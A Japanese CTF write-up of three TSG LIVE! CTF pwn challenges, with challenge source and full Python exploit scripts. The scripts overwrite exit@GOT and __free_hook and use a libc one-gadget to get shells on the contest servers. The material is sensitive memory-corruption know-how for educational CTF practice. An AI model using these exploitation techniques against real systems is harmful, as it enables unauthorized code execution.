競技時間が1時間ちょっとの割にクオリティの高い問題を毎年提供していると噂のTSG LIVE! CTFにyoshikingdomで参加しました。 みなさん気づいていなかったと思いますが、実はyoshikingというユーザーは私でした。
なんかサブマリンしてたみたいになっていますが、
- 1に挑戦→サーバーで別のバイナリが動いてる
- 2に挑戦→勘違いで詰まる
- 3に挑戦→解ける。間違えて2のサーバーに接続したけどそっちも解けた。
- 1に挑戦→ポートが直ってて書き終わってたソルバが動いた
という手順なので一気に全部解けました。
pwnは3問あるけど同じ系列でちょっとずつ難易度が上がる感じで、かつソースコードも配布されているので、1時間でもなんとかなるように設計されていました。 (いや2問目が3問目のsubsetになってなかったら終わってなかったかもしれないけど。)
revはangr回して終わったので特に書くことはありません(><;)
他のメンバーのwriteup:
ソルバと問題ファイル:
[pwn 50pts] N bytes man
PIEやRELROが無効です。
$ checksec -f n-bytes-man RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 73 Symbols No 0 2 n-bytes-man
指定したアドレスに指定したバイト数だけ書き込めるようになっています。
int main(void) { unsigned long long addr; unsigned long long size; char buf[0x20]; setup(); write(1, "address: ", 9); readn(buf, 0x1f); addr = strtoull(buf, NULL, 10); write(1, "size: ", 9); readn(buf, 0x1f); size = strtoull(buf, NULL, 10); write(1, (char*)addr, size); write(1, "data: ", 6); readn((char *)addr, size); exit(0); }
friend
という関数があり、シェルを起動してくれます。
void friend() { execl("/bin/sh", "sh", NULL); }
したがって、exitのGOTを書き換えればよさそうです。
from ptrlib import * elf = ELF("./n-bytes-man") #sock = Process("./n-bytes-man") sock = Socket("34.84.59.121", 30004) data = str(elf.got("exit")) sock.sendlineafter(": ", data) sock.sendafter(": ", "8" + "\x00" * 0x1e) sock.sendafter(": ", p64(elf.symbol("friend"))) sock.interactive()
わい。
$ python solve.py [+] __init__: Successfully connected to 34.84.59.121:30004 [ptrlib]$ cat flag TSGCTF{Did you see how he is good at earning shells?}
[pwn 100pts] one byte man
one byte man with no friend
を先に解き、それとまったく同じexploitが刺さったのでそっちを参照。
[pwn 400pts] one byte man with no friend
やはりPIEとRELROが無効です。
$ checksec -f one-byte-man RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 73 Symbols No 0 2 one-byte-man
今度は1バイトしか書き込めません。
int main(void) { unsigned long long addr; char buf[0x20]; setup(); write(1, "address: ", 9); readn(buf, 0x1f); addr = strtoull(buf, NULL, 10); write(1, (char*)addr, 8); write(1, "data: ", 6); readn((char *)addr, 1); exit(0); }
さすがに1バイトでは何もできないので、まずはこれをnバイトにします。
exit@got
には初期状態で0x400666が書かれている一方、_start
のアドレスは0x400680です。
したがって、exit@got
の下位1バイトを書き換えれば何度もmain
が呼び出されます。
次に何を書き換えるかが問題で、最初は_IO_2_1_stderr_ + α
に偽のファイル構造体を書き込んで_IO_list_all
をそっちに向けたのですが、書き終わった頃にlibc-2.31であることを思い出してrm solve.py
しました。
_exit
ではなくexit
が呼ばれていることに着目すると、__elf_set___libc_atexit_element__IO_cleanup__
が使えることが分かります。
一方引数となる__rtld_global+2312
はローカルとリモートでオフセットが違ったので/bin/sh
を書き込むことはできませんでした。
ここで、_IO_cleanup
の変わりが呼ばれたときのレジスタは次の状態になっています。
*RAX 0x0 *RBX 0x7f73a8fe6608 (__elf_set___libc_atexit_element__IO_cleanup__) —▸ 0x7f73a… *RCX 0x0 RDX 0x1 *RDI 0x7f73a9022968 (_rtld_global+2312) ◂— 0x0 *RSI 0x600e18 (__do_global_dtors_aux_fini_array_entry) —▸ 0x400730 (__do_globa… *R8 0x1 *R9 0x7ffdb0c222f4 ◂— 0x1 *R10 0x2 *R11 0x7f73a8e42bc0 (exit) ◂— endbr64 *R12 0x7f73a8fe6610 ◂— 0x0 *R13 0x1 *R14 0x7f73a8fe9fc8 (__exit_funcs_lock) ◂— 0x0 R15 0x0 *RBP 0x0 *RSP 0x7ffdb0c22428 —▸ 0x7f73a8e42b32 (__run_exit_handlers+514) ◂— add rbx,…
kusanoさんのone gadgetの記事を読んでいれば、これを見た瞬間に隠れone gadgetが使えることが分かります。 今回はraxもrcxも0ですので、楽そうですね。
しかし脳死でこれを実践すると、movaps
に引っかかってしまいます。
0x7f99aeaa2fa5 <do_system+341> lea r8, [rsp + 0x50] 0x7f99aeaa2faa <do_system+346> mov rcx, rbp 0x7f99aeaa2fad <do_system+349> mov qword ptr [rsp + 0x60], rbx 0x7f99aeaa2fb2 <do_system+354> mov r9, qword ptr [rax] 0x7f99aeaa2fb5 <do_system+357> lea rsi, [rip + 0x1625ee] ► 0x7f99aeaa2fbc <do_system+364> movaps xmmword ptr [rsp + 0x50], xmm0 0x7f99aeaa2fc1 <do_system+369> mov qword ptr [rsp + 0x68], 0 0x7f99aeaa2fca <do_system+378> call posix_spawn <0x7f99aeb5d780>
一応ROPとかと違って正常な関数呼び出しだからいけるかなーと思ったけど許してもらえませんでした。
そこで、free
関数を一度かますことでrspを揃えることにしました。
free
は__free_hook
呼び出し時にraxを破壊してしまうので、rcx=0の条件でこのone gadgetを使いましょう。
ところが__free_hook
の呼び出しはjmpで、かつfree
はrsp + 0x18
をしています。
► 0x7f73a8e96850 <free> endbr64 0x7f73a8e96854 <free+4> sub rsp, 0x18 0x7f73a8e96858 <free+8> mov rax, qword ptr [rip + 0x14d699] 0x7f73a8e9685f <free+15> mov rax, qword ptr [rax] 0x7f73a8e96862 <free+18> test rax, rax 0x7f73a8e96865 <free+21> jne free+152 <0x7f73a8e968e8> ↓ 0x7f73a8e968e8 <free+152> mov rsi, qword ptr [rsp + 0x18] 0x7f73a8e968ed <free+157> add rsp, 0x18 0x7f73a8e968f1 <free+161> jmp rax
のでfree+8から呼びましょう。
まとめると、_IO_cleanup
の変わりにfree+8
を入れて、__free_hook
にone gadgetを入れればOKです。
from ptrlib import * libc = ELF("libc.so.6") elf = ELF("one-byte-man") #sock = Socket("localhost", 9999) #sock = Socket("34.84.59.121:30003") # One byte man sock = Socket("34.84.59.121:30002") # one byte man with no friend sock.sendlineafter(": ", str(elf.got("exit"))) sock.sendafter(": ", b'\x80') target = elf.got("puts") sock.sendlineafter(": ", str(target)) r = sock.recvregex("(.+)data") libc_base = u64(r[0]) - libc.symbol("puts") logger.info(hex(libc_base)) sock.sendafter(": ", p64(libc_base + libc.symbol("puts"))[0:1]) target = libc_base + libc.symbol("__free_hook") payload = p64(libc_base + 0x54f89) for i in range(len(payload)): sock.sendlineafter(": ", str(target + i)) sock.sendafter(": ", payload[i:i+1]) target = libc_base + 0x1ed608 payload = p64(libc_base + libc.symbol("free") + 8) for i in range(len(payload)): sock.sendlineafter(": ", str(target + i)) sock.sendafter(": ", payload[i:i+1]) sock.sendlineafter(": ", str(elf.got("exit"))) sock.sendafter(": ", p64(elf.plt("exit") + 6)[0:1]) sock.interactive()
わいわい。
$ python solve.py [+] __init__: Successfully connected to 34.84.59.121:30003 [+] <module>: 0x7f8e85803000 [ptrlib]$ cat flag TSGCTF{We have a lot of money because we have a lot of shells}
わいわいわい。
$ python solve.py [+] __init__: Successfully connected to 34.84.59.121:30002 [+] <module>: 0x7f8ac2704000 [ptrlib]$ cat flag TSGCTF{I lost all friends because of pwning :(}
一石二鳥ってやつやな。